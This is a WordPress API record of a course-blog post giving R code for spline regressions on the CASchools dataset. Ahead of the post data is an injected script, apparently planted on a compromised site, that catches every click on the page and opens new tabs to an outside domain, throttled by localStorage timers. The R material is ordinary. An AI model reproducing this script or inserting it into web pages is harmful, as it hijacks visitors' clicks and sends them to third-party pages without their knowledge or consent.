<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":967,"date":"2022-10-26T22:16:35","date_gmt":"2022-10-26T14:16:35","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=967"},"modified":"2023-10-16T21:41:24","modified_gmt":"2023-10-16T13:41:24","slug":"221020-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8_spline","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=967","title":{"rendered":"221020 \u8a08\u91cf\u7d93\u6fdf\u5b78_spline"},"content":{"rendered":"<p>library(AER)<br \/>\nlibrary(stargazer)<\/p>\n<p>data(CASchools)<br \/>\nstr(CASchools)<br \/>\nC &lt;- CASchools[ , c(11,13)]<br \/>\nstr(C)<br \/>\nplot(data=C,read~income)<\/p>\n<p>C$H_income = ifelse( C$income &gt;=27 , C$income-27 ,0 )<br \/>\nstr(C)<\/p>\n<p>spline_1 &lt;- lm (data=C, read ~ income+ H_income)<br \/>\nsummary(spline_1)<\/p>\n<p>C$N_income &lt;- ifelse( C$income &lt;= 27 , C$income ,27 )<\/p>\n<p>spline_2 &lt;- lm (data=C, read ~ N_income+ H_income)<br \/>\nsummary(spline_2)<\/p>\n<p>stargazer(spline_1,spline_2, type = &#8220;text&#8221;, title = &#8220;Spline Regression models&#8221;)<\/p>\n<p>ord &lt;- order(C$income)<\/p>\n<p>windows()<br \/>\nplot(data=C, read~income, main=&#8221;Spline 1&#8243;)<br \/>\nlines(C$income[ord],spline_1$fitted.values[ord],col=&#8217;blue&#8217;,lwd=2)<\/p>\n<p>windows()<br \/>\nplot(data=C, read~income, main=&#8221;Spline 2&#8243;)<br \/>\nlines(C$income[ord],spline_2$fitted.values[ord],col=2,lwd=2)<\/p>\n<p>windows()<br \/>\nplot(spline_1,1)<\/p>\n<p>acf(spline_1$residuals[ord]) #\u6309\u7167\u9806\u5e8f\u6392\u5217<\/p>\n<p>windows()<br \/>\nacf(spline_1$residuals)<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-972\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s1-300x271.png\" alt=\"\" width=\"300\" height=\"271\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s1-300x271.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s1.png 745w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-971 size-medium\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s2-300x294.png\" alt=\"\" width=\"300\" height=\"294\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s2-300x294.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s2.png 745w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-970 size-medium\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s3-300x298.png\" alt=\"\" width=\"300\" height=\"298\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s3-300x298.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s3-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s3.png 735w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-969 size-medium\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s4-296x300.png\" alt=\"\" width=\"296\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s4-296x300.png 296w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s4.png 726w\" sizes=\"(max-width: 296px) 100vw, 296px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-968\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s5-296x300.png\" alt=\"\" width=\"296\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s5-296x300.png 296w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/10\/s5.png 720w\" sizes=\"(max-width: 296px) 100vw, 296px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>library(AER) library(stargazer) data(CAS<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/967"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=967"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/967\/revisions"}],"predecessor-version":[{"id":973,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/967\/revisions\/973"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=967"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=967"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=967"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}